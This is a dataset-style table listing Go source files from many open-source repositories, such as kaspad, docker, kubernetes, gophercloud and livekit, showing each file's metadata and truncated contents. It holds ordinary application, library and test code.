blob_id stringlengths 40 40 | content_id stringlengths 40 40 | repo_name stringlengths 5 114 | path stringlengths 5 318 | language stringclasses 5
values | extension stringclasses 12
values | length_bytes int64 200 200k | license_type stringclasses 2
values | content stringlengths 143 200k |
|---|---|---|---|---|---|---|---|---|
1ac844483f5d48101364b74d6abbf70ff9ee18c9 | 89c4b3ec02fdd5ae530fecd8a187c8f5c372d326 | dje4g/blueprint | /bootstrap/cleanup.go | Go | go | 3,893 | permissive | // Copyright 2014 Google Inc. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable... |
6f8654f483f2eade3627c1861c66e0b6482e5918 | 4338edea67ebe80642a69a539bd01cc97f116750 | go-vela/vela-artifactory | /cmd/vela-artifactory/prop_test.go | Go | go | 4,843 | permissive | // Copyright (c) 2022 Target Brands, Inc. All rights reserved.
//
// Use of this source code is governed by the LICENSE file in this repository.
package main
import (
"reflect"
"testing"
)
func TestArtifactory_Prop_String_Value(t *testing.T) {
// setup types
p := &Prop{
Name: "foo",
Value: "bar",
Values... |
16108a6b653e9334f250db7592bab6a46ade94de | 6bdc058cfe0614aeb401815b7c7739f891d692e9 | fakecoinbase/kaspanetslashkaspad | /server/rpc/handle_get_block.go | Go | go | 2,991 | permissive | package rpc
import (
"bufio"
"bytes"
"encoding/hex"
"github.com/kaspanet/kaspad/config"
"github.com/kaspanet/kaspad/rpcmodel"
"github.com/kaspanet/kaspad/util"
"github.com/kaspanet/kaspad/util/daghash"
"github.com/kaspanet/kaspad/util/subnetworkid"
)
// handleGetBlock implements the getBlock command.
func han... |
f70863366350cf08c733cb5f8367d503a2748bbc | d915d1730f87c5d96609340d449e16dba9221460 | DennisRutjes/jivan | /server/server_awslambda.go | Go | go | 2,762 | permissive | // +build awslambda
///////////////////////////////////////////////////////////////////////////////
//
// The MIT License (MIT)
// Copyright (c) 2018 Jivan Amara
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to... |
0e4e76c3c8305cdbc231c64deeda065f1d33065d | fbe6a28a7c7bf7ab6dd3df02216f69607ee6c32c | mrunalpagnis/oci-cloud-controller-manager | /pkg/cloudprovider/providers/oci/util_test.go | Go | go | 3,397 | permissive | // Copyright 2017 Oracle and/or its affiliates. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless requ... |
fa607d6dd7d9d142e54335fa246c6b8d67e0fd1c | 8f3589a20c2c9151c29afe2b3e6a62ca3d0deb29 | nttcom/eclcloud | /v3/ecl/network/v2/qos_options/testing/request_test.go | Go | go | 1,646 | permissive | package testing
import (
"fmt"
"github.com/nttcom/eclcloud/v3/ecl/network/v2/qos_options"
"github.com/nttcom/eclcloud/v3/pagination"
"net/http"
"testing"
fake "github.com/nttcom/eclcloud/v3/ecl/network/v2/common"
th "github.com/nttcom/eclcloud/v3/testhelper"
)
func TestListQoS(t *testing.T) {
th.SetupHTTP()... |
155125e89954be35028c946e42d480dcf013cd23 | 8e402cc1ae8bade3fc7b66a574a25675a6bd742c | ragurney/term-check | /pkg/config/config.go | Go | go | 892 | no_license | package config
import (
"os"
"github.com/rs/zerolog"
"github.com/rs/zerolog/log"
)
// LookupEnv to allow mocking of os.LookupEnv
type LookupEnv func(string) (string, bool)
// FatalLog to allow mocking of log.Fatal()
type FatalLog func(format string, a ...interface{})
// Config has custom configuration methods
t... |
698c2cc883fdc982a133359df4d29a4fd6d4a986 | 62855f094bd4db37383a5a05c6aad24867d17c71 | chaolou/gophercloud | /openstack/client.go | Go | go | 8,026 | permissive | package openstack
import (
"fmt"
"net/url"
"github.com/rackspace/gophercloud"
tokens2 "github.com/rackspace/gophercloud/openstack/identity/v2/tokens"
tokens3 "github.com/rackspace/gophercloud/openstack/identity/v3/tokens"
"github.com/rackspace/gophercloud/openstack/utils"
)
const (
v20 = "v2.0"
v30 = "v3.0"
... |
c49eeae242d80e3ee7f60958d281c2db27f3c969 | e701e8b7f6aa7bcfa2932d03cf754f485839d08b | sassyn/xrtc | /exit/listen.go | Go | go | 2,064 | no_license | // Package exit allows to register callbacks which are called on program exit.
//
// Based-on https://github.com/fabiolb/fabio/exit.
package exit
import (
"log"
"os"
"os/signal"
"sync"
"syscall"
)
var wg sync.WaitGroup
// quit channel is closed to cleanup exit listeners.
var quit = make(chan bool)
// Listen re... |
670ca3b6d97793fa7b47b9a6611566d16709ccd9 | b2ebad6abdd5a9d7261e88ca8714c66a2030934d | essentiaone/divid | /rpcclient/examples/btcdwebsockets/main.go | Go | go | 2,357 | permissive | // Copyright (c) 2014-2017 The essentiaone developers
// Use of this source code is governed by an ISC
// license that can be found in the LICENSE file.
package main
import (
"io/ioutil"
"log"
"path/filepath"
"time"
"github.com/essentiaone/divid/rpcclient"
"github.com/essentiaone/divid/wire"
"github.com/essen... |
63f08b8d76d1b0d36af5c3dc91abf535584320e9 | 22fee1003f840c2586616026eea0619e57bbd5a2 | sfomuseum/go-http-leaflet-geotag | /vendor/github.com/aaronland/go-http-leaflet/leaflet.go | Go | go | 3,065 | permissive | package leaflet
import (
"github.com/aaronland/go-http-leaflet/static"
aa_static "github.com/aaronland/go-http-static"
_ "log"
"net/http"
)
// LeafletOptions provides a list of JavaScript and CSS link to include with HTML output.
type LeafletOptions struct {
JS []string
CSS []string
Data... |
999b3d1bfdb142bcf4fb8c57a2255b3fc937e430 | ae94de4352b75ca46a78b27e9c80650a441cb153 | sgtest/monorepo-test-3 | /kubernetes-11/test/e2e/scheduling/opaque_resource.go | Go | go | 11,376 | permissive | /*
Copyright 2016 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, ... |
911d05a9d4dcbca45a57acbd7ba5700c8b60c700 | 6199ddc653dce78139c71e2376c03d69b0858bea | Nicolaze/docker | /daemon/daemon.go | Go | go | 52,858 | permissive | // Package daemon exposes the functions that occur on the host server
// that the Docker daemon is running.
//
// In implementing the various functions of the daemon, there is often
// a method-specific struct for configuring the runtime behavior.
package daemon
import (
"fmt"
"io"
"io/ioutil"
"net"
"os"
"path"
... |
5891718d3381f611fa935bfd502c203600b8add1 | 21cf2af6888b468f402d816d46598d615fa78a1f | scylladb/scylla-operator | /vendor/github.com/grafana/grafana-api-golang-client/library_panel.go | Go | go | 6,355 | permissive | package gapi
import (
"bytes"
"encoding/json"
"fmt"
"time"
)
// LibraryPanelMetaUser represents the Grafana library panel createdBy and updatedBy fields
type LibraryPanelMetaUser struct {
ID int64 `json:"id"`
Name string `json:"name"`
AvatarURL string `json:"folderId"`
}
// LibraryPanelMeta repre... |
3b31fb27ec780ed500c2c21b1227136445e07f75 | 47440c36e76d4cfb46e2db74af2d9e63240ee98f | iCiaran/AoC19 | /day_12/main_test.go | Go | go | 1,015 | no_license | package main
import (
"fmt"
"github.com/stretchr/testify/assert"
"testing"
)
func TestPartA(t *testing.T) {
assert := assert.New(t)
tests := []struct {
input string
want string
}{
{
input: "real.txt",
want: "10189",
},
}
for i, test := range tests {
t.Run(fmt.Sprint("test_", i), func(t *te... |
ac2cb4f5182551cf29234a5ae1a9e20061b1138e | 9ff4d8ff1a445d996b9a8c25d493d573bd6fd2da | piseysen/livekit-server | /test/integration_helpers.go | Go | go | 6,578 | permissive | package test
import (
"context"
"fmt"
"net/http"
"sync"
"testing"
"time"
"github.com/go-redis/redis/v8"
"github.com/livekit/protocol/auth"
"github.com/livekit/protocol/utils"
"github.com/twitchtv/twirp"
"github.com/livekit/livekit-server/pkg/config"
"github.com/livekit/livekit-server/pkg/logger"
"github... |
7876e91b2aba82ae9657735bfcda58e34b1aed4d | 89868c804370656fb9baf8effbb7d75357463bef | JamesKim2998/defold-tutorial-getting-started | /main/level/objects/coin.go | Go | go | 1,347 | no_license | components {
id: "script"
component: "/main/level/objects/coin.script"
position {
x: 0.0
y: 0.0
z: 0.0
}
rotation {
x: 0.0
y: 0.0
z: 0.0
w: 1.0
}
}
embedded_components {
id: "collisionobject"
type: "collisionobject"
data: "collision_shape: \"\"\n"
"type: COLLISION_OBJECT_... |
1570465a8ab70440e238d6aeeec70287d5a04582 | f149c60c99e671d4c734b4ceb6b4c282d6550048 | beatlabs/patron | /vendor/github.com/elastic/go-elasticsearch/v8/typedapi/enrich/executepolicy/execute_policy.go | Go | go | 5,772 | permissive | // Licensed to Elasticsearch B.V. under one or more contributor
// license agreements. See the NOTICE file distributed with
// this work for additional information regarding copyright
// ownership. Elasticsearch B.V. licenses this file to you under
// the Apache License, Version 2.0 (the "License"); you may
// not use ... |
d2e33ab837723c2f8d17247542d298278aeafe5c | 0ea1c2fd77d3bc7848eda40f1433ef2e5001c4bf | bpkgoud/pulumi-azure-native | /sdk/go/azure/apimanagement/v20180101/apiDiagnostic.go | Go | go | 4,451 | permissive |
package v20180101
import (
"context"
"reflect"
"github.com/pkg/errors"
"github.com/pulumi/pulumi/sdk/v3/go/pulumi"
)
type ApiDiagnostic struct {
pulumi.CustomResourceState
Enabled pulumi.BoolOutput `pulumi:"enabled"`
Name pulumi.StringOutput `pulumi:"name"`
Type pulumi.StringOutput `pulumi:"type"... |
5aec8117856a72d7e64cdea03d6e76502de3f007 | 54fe431452ddbc2debcffe40cdfca7e8472593a0 | neoyagami/gonum | /mat/diagonal.go | Go | go | 8,243 | permissive | // Copyright ©2018 The Gonum Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package mat
import (
"github.com/neoyagami/gonum/blas"
"github.com/neoyagami/gonum/blas/blas64"
)
var (
diagDense *DiagDense
_ Matrix ... |
4ee5858686b4ae5e03be90223aaffa9235d3a2ad | 8a886db3ba3fdc6caa27c57542b896e8ec921e30 | omerlh/ark | /pkg/controller/backup_controller.go | Go | go | 18,985 | permissive | /*
Copyright 2017 the Heptio Ark contributors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writ... |
49a5e2e6d5a10f6f7f54ab5aff62a7a9ec6f9467 | 0b2ad0cf7a7649de407b6840120c6f8df9e884ac | sgtest/monorepo-test-3 | /kubernetes-1/pkg/registry/extensions/replicaset/storage/storage_test.go | Go | go | 12,337 | permissive | /*
Copyright 2016 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, ... |
7b83542e2c69fa746465bd72efe5ad0f36093c54 | b4f7c6bdae575e08ae31b1929393fdfb33fd3e9d | djannot/aws-sdk-go | /service/s3/s3manager/s3manageriface/interface.go | Go | go | 691 | permissive | // Package s3manageriface provides an interface for the s3manager package
package s3manageriface
import (
"io"
"github.com/djannot/aws-sdk-go/service/s3"
"github.com/djannot/aws-sdk-go/service/s3/s3manager"
)
// DownloaderAPI is the interface type for s3manager.Downloader.
type DownloaderAPI interface {
Download... |
e19faa562b1c98d37faae959fa4515f771c6a476 | 78fce2d27b747acf656133489dbe975313b236d4 | dollarkillerx/websocket-standard | /server/task_release.go | Go | go | 239 | permissive | /**
* @Description: task release
*/
package server
import (
"github.com/gin-gonic/gin"
"websocketdome/pool"
)
func TaskRelease(app *gin.Context) {
task := app.PostForm("task")
pool.WebSocketPool.Seed(task)
app.JSON(200,"200OK")
}
|
0b695c21a9e59e9b7ba401747dc49a8d21ee96cd | 3e4a3c4bbaee8f34e9d0463e6fd33de0c30fcb4b | volkdir/okteto | /pkg/model/stack.go | Go | go | 12,122 | permissive | // Copyright 2020 The Okteto Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in ... |
bc1ec3bb36e7460afd5383a55e9de510c21bce94 | 5c9460d9213d73630d1877a91dbdcb4b170b8b7c | NaitsabesMue/goshimmer | /plugins/webapi/info/plugin.go | Go | go | 3,926 | permissive | package info
import (
"net/http"
"sort"
goSync "sync"
"time"
"github.com/iotaledger/hive.go/node"
"github.com/labstack/echo"
"github.com/mr-tron/base58/base58"
"github.com/iotaledger/goshimmer/packages/mana"
"github.com/iotaledger/goshimmer/plugins/autopeering/discovery"
"github.com/iotaledger/goshimmer/pl... |
18793879c4261dcb3c9b22769775b0475a0c715b | b7fc532a466fdd63bda3854f3611fe71c899eed0 | WwangWeiqi/GOLANG | /07_loops/main.go | Go | go | 315 | no_license | package main
import "fmt"
func main() {
// for i := 1; i <= 10; i++ {
// fmt.Println(i)
// }
//fizzbuzz
for i := 1; i < 100; i++ {
if i%15 == 0 {
fmt.Println("FizzBuzz")
} else if i%3 == 0 {
fmt.Println("Fizz")
} else if i%5 == 0 {
fmt.Println("Buzz")
} else {
fmt.Println(i)
}
}
}
|
4c291a274ec7db562ecae2afa201aaa8b19cc736 | 838b42be6209ed782cbfbb69d39e892633869c15 | ofen/VictoriaMetrics | /lib/promauth/config.go | Go | go | 5,242 | permissive | package promauth
import (
"bytes"
"crypto/tls"
"crypto/x509"
"encoding/base64"
"fmt"
"io/ioutil"
)
// TLSConfig represents TLS config.
//
// See https://prometheus.io/docs/prometheus/latest/configuration/configuration/#tls_config
type TLSConfig struct {
CAFile string `yaml:"ca_file"`
CertFile ... |
4c03aae2415202a5fd8e1c975f4db1e6c00b9423 | 67d14f087715416ef826786162062aaaeef76d30 | sunilkum84/websocket-go | /main.go | Go | go | 1,020 | no_license | package main
import (
"log"
"net/http"
"github.com/gorilla/websocket"
)
func serveHome(w http.ResponseWriter, r *http.Request) {
log.Println(r.URL)
if r.URL.Path != "/" {
http.Error(w, "Not found", http.StatusNotFound)
return
}
if r.Method != "GET" {
http.Error(w, "Method not allowed", http.StatusMethod... |
158c6e5cd3d187b4922a3de7903aaf2808d0ab14 | 67daa7ec0617ad12d4554bdaf0f87c86111648f9 | devintegral/go-lachesis | /src/inter/block.go | Go | go | 887 | permissive | package inter
import (
"github.com/Fantom-foundation/go-lachesis/src/hash"
"github.com/Fantom-foundation/go-lachesis/src/inter/wire"
)
// Block is a chain block.
type Block struct {
Index uint64
Events hash.EventsSlice
}
// ToWire converts to proto.Message.
func (b *Block) ToWire() *wire.Block {
if b == nil {
... |
a18d7db789cf321083afae24564d34f59e42532e | a95dbb4c8420d4a34dc1ae40aa0b3daf86a3ef50 | CplusHua01/ADCM | /lib/update/frame.go | Go | go | 3,219 | no_license | package update
/* base frame
* a frame begin with "0xDB0xF3".....
*/
const (
FRAME_HEADER_LEN = 4 //a frame header is 4 bytes
SECDATA_HEADER_LEN = 5 //a secData header len
FRAMEFLAG = 0xf3db //a frame is started with "0xf3db"
MAX_DATA_LEN = 1024 // the max frame data length
MAX_FRAM... |
3d436a9aa5c97996f53df93eb1054e6b5a066caf | f83a87766305671b96f22df4004b407e90e26c25 | gofaith/walk | /declarative/lineedit.go | Go | go | 2,874 | permissive | // Copyright 2012 The Walk Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build windows
package declarative
import (
"github.com/StevenZack/livedata"
"github.com/gofaith/walk"
)
type CaseMode uint32
const (
CaseModeMixed ... |
95ac6f3b7b066561432eca909f2090527d9953cd | 4d8b871c2ef8edce45d82de46310bdf8c70b295e | Numerio/market_prices | /types/types.go | Go | go | 484 | no_license | package types
const(
INVALID_TICKER = iota
EUR_GBP = iota+1
EUR_USD = iota+2
)
type ExchangeLatestResponse struct {
Rates map[string]float64 `json:"rates"`
Base string `json:"base"`
Date string `json:"date"`
}
type ExchangeHistoryResponse struct {
Rates map[string]map[string]float64 `json:"rates"`
}
type HTT... |
a1b5ed08c9b8df1e4b21afb1a28648bdcfc6fc21 | 95a275058f1297c627eedd9f8997469c8145b9a0 | michael-the-grey/go-pomodoro | /cmd/server.go | Go | go | 642 | permissive | package cmd
import (
"github.com/linuxfreak003/go-pomodoro/server"
"github.com/spf13/cobra"
)
// serverCmd represents the server command
var serverCmd = &cobra.Command{
Use: "server",
Short: "",
Long: ``,
Run: func(cmd *cobra.Command, args []string) {
server.StartServer(port, token, channel)
},
}
func in... |
4ae3cc7d80b32e02f2bda04f70fd0fa01a9b1346 | 4fd373082dbfbfc69a215f8f98c0cdf622e1b5eb | huttarichard/mailgun-go | /events.go | Go | go | 7,558 | permissive | package mailgun
import (
"context"
"fmt"
"time"
"github.com/huttarichard/mailgun-go/events"
"github.com/mailru/easyjson"
)
// ListEventOptions{} modifies the behavior of ListEvents()
type ListEventOptions struct {
// Limits the results to a specific start and end time
Begin, End time.Time
// ForceAscending a... |
c0d02cd682f8e7f51242cddd409e4a02716a94d4 | 553e216aea3a82898733e5a5cf0721f0dc1d51ef | didiyun/didiyun-s3-go | /api-compose-object_test.go | Go | go | 5,074 | permissive | /*
* MinIO Go Library for Amazon S3 Compatible Cloud Storage
* Copyright 2017 MinIO, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENS... |
80ced112f270d781ee3aa82474cb420a7c534d0d | 3077fb2ddc5a22224f5e1eeb4da1f892b92da3a3 | huaweicloud/cloudeye-exporter | /vendor/github.com/huaweicloud/golangsdk/openstack/rds/v3/instances/results.go | Go | go | 7,214 | permissive | package instances
import (
"github.com/huaweicloud/golangsdk"
"github.com/huaweicloud/golangsdk/pagination"
)
type commonResult struct {
golangsdk.Result
}
type CreateResult struct {
commonResult
}
type RestartRdsInstanceResult struct {
commonResult
}
type SingleToHaRdsInstanceResult struct {
commonResult
}
... |
c6591d063426e11633c0318ade98e8cd7abd518e | 6cc6c37a96a937bad8bf277aa82caee254c3f092 | Mirantis/magma | /orc8r/cloud/go/services/configurator/storage/sql_entity_load_helpers.go | Go | go | 12,401 | permissive | /*
* Copyright 2020 The Magma Authors.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree.
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
*... |
a5d71bd800e8f9de4aea119b69a583dd61fc6d2c | d12d9dc94ad219ff202c9226c95b9f343ac1f783 | rsdoiel/opml | /opml.go | Go | go | 12,645 | permissive | //
// Package opml provides basic utility functions for working with OPML files.
//
// @author R. S. Doiel, <rsdoiel@gmail.com>
//
// Copyright (c) 2021, R. S. Doiel
// All rights not granted herein are expressly reserved by R. S. Doiel.
//
// Redistribution and use in source and binary forms, with or without modificat... |
49c3dbcb33d6bfc78c07dcd04edeace75f9be82e | 55bb03c09002e24e1be02ab550cc5cb5ca83c2fd | novaprotocolio/bots | /client/nova_client.go | Go | go | 9,275 | permissive | package client
import (
"encoding/json"
"errors"
"fmt"
"github.com/novaprotocolio/amm-bots/utils"
"github.com/shopspring/decimal"
"github.com/sirupsen/logrus"
"strconv"
"strings"
"sync"
"time"
)
func NewNovaClient(privateKey string, baseToken string, quoteToken string, baseUrl string) *NovaClient {
client ... |
c07383d8c5ecd017532777d4671d6976c9398e4d | 2161bca85aad6a5d363a442c2abddb51238f7fbe | schecterdamien/yago | /coms/etcd/etcd.go | Go | go | 1,944 | permissive | package etcd
import (
"crypto/tls"
"crypto/x509"
"io/ioutil"
"log"
"time"
"github.com/hulklab/yago"
"go.etcd.io/etcd/clientv3"
)
type Etcd struct {
*clientv3.Client
}
func Ins(id ...string) *Etcd {
var name string
if len(id) == 0 {
name = "etcd"
} else {
name = id[0]
}
v := yago.Component.Ins(nam... |
861757b133ff5e6d691ce63c67f3ab03c228389b | 0b80ea62e25ad7466f07898de9cc3b183060ed4d | openshift/compliance-operator | /cmd/manager/aggregator.go | Go | go | 27,582 | permissive | /*
Copyright © 2020 Red Hat Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
... |
c8d1b765c0fe887f2aeccf275e27724c6d7e1bca | 2bdab69400d4806211a16860a5d807b489434cf2 | RichardOnorato-Work/terraform-provider-azure-custom | /services/web/function_app_function_secrets_data_source.go | Go | go | 2,229 | no_license | package web
import (
"fmt"
"terraform-provider-azure-custom/clients"
"terraform-provider-azure-custom/helpers"
"terraform-provider-azure-custom/helpers/azure"
"terraform-provider-azure-custom/timeouts"
"time"
"github.com/hashicorp/terraform-plugin-sdk/helper/schema"
"github.com/hashicorp/terraform-plugin-sdk... |
e332d40921fe2fa93aa3053650da418f4d54fc6e | 76355648bc906b3cdf5da5d7961cb719944d2fb4 | strogonoff/shopify-linesheet-utils | /shopify2linesheet/downloader.go | Go | go | 1,982 | no_license | package main
import (
"errors"
"io"
"io/ioutil"
"log"
"net/http"
"os"
"strings"
//"fmt"
)
func DownloadQueue(dlQueue map[string]string, maxConcurrentJobs int) {
concurrentJobs := make(chan struct{}, maxConcurrentJobs)
for i := 0; i < maxConcurrentJobs; i++ {
concurrentJobs <- struct{}{}
}
done := make... |
c204fb01f526b656e3759ebccd1cf89c5af7fbca | 63fd5c9503b57baf88bfb7569f2675d0f4c12e66 | Nordix/contour | /pkg/config/parameters.go | Go | go | 37,364 | permissive | // Copyright Project Contour Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to... |
67de66ec24e6a87b0a6491c691ea0766bd056af8 | 0811fbf03b7f1213a5032a98a9835af448036d92 | tass-lin/leetcode | /0006/0006-zigZagConversion.go | Go | go | 1,107 | no_license | package main
import "bytes"
func convert(s string, numRows int) string {
if numRows == 1 || len(s) <= numRows {
return s
}
res := bytes.Buffer{}
p := numRows * 2 - 2
for i := 0; i < len(s); i += p {
res.WriteByte(s[i])
}
for r := 1; r <= numRows -2; r++ {
res.WriteByte(s[r])
for k := p; k-r < len... |
17eda57175bae32e37f39be3dfd6b2e970a704b0 | 4c149aab98bfd048942c4da6ff7339f2205fe870 | projectcalico/calico | /felix/dataplane/windows/vxlan_mgr_test.go | Go | go | 8,608 | permissive | // Copyright (c) 2019-2020 Tigera, Inc. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by ... |
eaa6f2aa85dcd240a153a3068fc13dc4fbe9942a | 2a41c5d5ae6b33432d9d4c9ec129bdfb4f160bf0 | iwind/TeaWeb | /src/main/tt.go | Go | go | 1,357 | no_license | package main
import (
"time"
"fmt"
"bufio"
"os"
"bytes"
_ "github.com/iwind/TeaGo/dbs/commands"
"github.com/iwind/TeaGo/lists"
"github.com/iwind/TeaGo/cmd"
)
func main() {
r := bufio.NewReader(os.Stdin)
lastCommand := ""
for {
time.Sleep(400 * time.Millisecond)
fmt.Print("> ")
line, _, err := r.Rea... |
b78b52a396973fa90be450c10eaf5a5114923281 | 6f9cb786f723c62c268a74e8b402c3cfdee45b8e | scqxray/cli-1 | /api/cloudcontroller/wrapper/retry_request_test.go | Go | go | 3,138 | permissive | package wrapper_test
import (
"io/ioutil"
"net/http"
"strings"
"code.cloudfoundry.org/cli/api/cloudcontroller"
"code.cloudfoundry.org/cli/api/cloudcontroller/ccerror"
"code.cloudfoundry.org/cli/api/cloudcontroller/cloudcontrollerfakes"
. "code.cloudfoundry.org/cli/api/cloudcontroller/wrapper"
. "github.com/on... |
debe3f67d5e9e82ff1fdf9d07ea9758f1bded8e0 | 4adb36763b5a9640a38b2c81ad163ef69bbd88fa | yeya24/go-tpc | /cmd/go-tpc/tpch.go | Go | go | 3,115 | permissive | package main
import (
"context"
"fmt"
"os"
"strings"
"github.com/spf13/cobra"
"github.com/pingcap/go-tpc/tpch"
)
var tpchConfig tpch.Config
func executeTpch(action string) {
openDB()
defer closeDB()
if globalDB == nil {
fmt.Fprintln(os.Stderr, "cannot connect to the database")
os.Exit(1)
}
tpchCon... |
f3543d9ab9d17e43801bc592421a7df8cc22fedd | 3a213dff4dda5c68ce0e72b561458c02f805f239 | SINGHPRANSHU/bankingrestapi | /getalltransaction.go | Go | go | 1,147 | no_license | package main
import (
"context"
"encoding/json"
"net/http"
"restapi/helper"
"restapi/models"
"go.mongodb.org/mongo-driver/bson"
"go.mongodb.org/mongo-driver/bson/primitive"
)
func Getalltransaction(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
var balances... |
afcbbadca3c4df488fbc9ee32bd2af0b9215ee22 | ccfb70ccdeb603da9300853dc9975c85886518c1 | mrogers950/file-integrity-operator | /pkg/common/constants.go | Go | go | 519 | no_license | package common
const (
FileIntegrityNamespace = "openshift-file-integrity"
DefaultConfDataKey = "aide.conf"
DefaultConfigMapName = "aide-conf"
DaemonSetName = "aide-ds"
ReinitDaemonSetName = "aide-reinit-ds"
AideScriptConfigMapName = "aide-script"
AideI... |
d0f5147e7dc58e0a4811cef37908dda1d767fc18 | 3aab783418906a55aec981b96017c63c98a3bec3 | Trip4077/go_crash_course | /05_arrays_slices/main.go | Go | go | 547 | no_license | package main
import "fmt"
func main() {
// arrays
// fixed length and types
var fruitArray [2]string
// Assign values
fruitArray[0] = "Apple"
fruitArray[1] = "Orange"
fmt.Println(fruitArray)
fmt.Println(fruitArray[0], fruitArray[1])
// declare and assign
fruits := [2]string{"Apple", "Orange"}
fmt.Print... |
994440c9719f768b358f6623478b7a7dff144584 | 8c8c332f194a2dbda8957fb5ed8a4ec71feead5a | yuehao1995/code_test | /test_protobuf/pb/rand.go | Go | go | 270 | no_license | /**
* @author zhangyuehao
* @date 2019-02-18 18:50
*/
package goserbench
import (
"fmt"
"math/rand"
)
func randString(l int) string {
buf := make([]byte, l)
for i := 0; i < (l+1)/2; i++ {
buf[i] = byte(rand.Intn(256))
}
return fmt.Sprintf("%x", buf)[:l]
}
|
84dccfbea4a4d104bc39647ec194624c0f9a9145 | 781257de20cddf01dfdcee44209dcdb72e3dcf11 | OpusCapita/oauth2_proxy | /providers/linkedin.go | Go | go | 2,043 | permissive | package providers
import (
"errors"
"fmt"
"net/http"
"net/url"
"github.com/OpusCapita/oauth2_proxy/api"
"github.com/OpusCapita/oauth2_proxy/pkg/apis/sessions"
)
// LinkedInProvider represents an LinkedIn based Identity Provider
type LinkedInProvider struct {
*ProviderData
}
// NewLinkedInProvider initiates a... |
249bb0b8d91de5d8a07b337e374b6113d7dfc572 | 21c88c92830bcec26428e639d56856a610a8d423 | lob/rack | /pkg/cli/run_test.go | Go | go | 3,620 | permissive | package cli_test
import (
"fmt"
"io"
"io/ioutil"
"strings"
"testing"
"github.com/lob/rack/pkg/cli"
mocksdk "github.com/lob/rack/pkg/mock/sdk"
"github.com/lob/rack/pkg/options"
"github.com/lob/rack/pkg/structs"
"github.com/stretchr/testify/mock"
"github.com/stretchr/testify/require"
)
func TestRun(t *testi... |
00acc951da74ce90a18c1cbc45ee52638b43bba4 | 5eb6adaa558907a05aec3413af0afc7c5cddf89f | akaKAIN/go-gb-level-2 | /demo/demo.go | Go | go | 403 | permissive | package demo
import "fmt"
// Модель пользователя
type User struct {
Name string // Имя пользователя
Age int // Возраст пользователя
}
// Метод вывода строкового представления модели пользователя
func (u User) String() string {
return fmt.Sprintf("user: %s, %d years old", u.Name, u.Age)
}
|
91858d7a03e3bf47dbb5065d01506ce67f88a04d | 02dd039dd82ef5502fbed0d084e9c96ab3725825 | glyn/crossplane | /pkg/controller/gcp/database/operations.go | Go | go | 7,821 | permissive | /*
Copyright 2019 The Crossplane Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, sof... |
4d4a351939d7e0253fa825c3864e8e26aad1b100 | db3e0802a73ca9d724ad0a1cd3e87cc9f2422c2d | pombredanne/mpb | /_examples/spinnerBar/main.go | Go | go | 1,750 | permissive | package main
import (
"fmt"
"math/rand"
"sync"
"time"
"github.com/vbauerster/mpb/v7"
"github.com/vbauerster/mpb/v7/decor"
)
func main() {
var wg sync.WaitGroup
// passed wg will be accounted at p.Wait() call
p := mpb.New(
mpb.WithWaitGroup(&wg),
mpb.WithWidth(16),
)
total, numBars := 101, 3
wg.Add(nu... |
2d13d8ad4f43a08f701fdca1ea5cf0b229f4a634 | a5fc5b2f31ef6a700bd11f4d27948e4a2d136f62 | microsoftgraph/msgraph-beta-sdk-go | /deviceappmanagement/mobile_apps_validate_xml_request_builder.go | Go | go | 4,313 | permissive | package deviceappmanagement
import (
"context"
i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f "github.com/microsoft/kiota-abstractions-go"
i20a3050780ee0b0cde0a884a4f35429a20d60067e3bcda382ec5400079147459 "github.com/microsoftgraph/msgraph-beta-sdk-go/models/odataerrors"
)
// MobileApps... |
e6772138cf31c85a007eb4af09d1c444504fa443 | dbeb4c7bada4cbf6d290b7a588381a91267bb699 | jbuberel/prime_finder | /generator/sundaram/sundaram.go | Go | go | 1,462 | no_license | // http://en.wikipedia.org/wiki/Sieve_of_Sundaram
package sundaram
import (
"log"
"time"
"math"
)
func printer(primes_channel chan int64, done_channel chan bool) int64 {
var largest int64
largest = 0
for {
select {
case p := <-primes_channel:
if p > largest {
largest = p
}
case <-done_channel:
... |
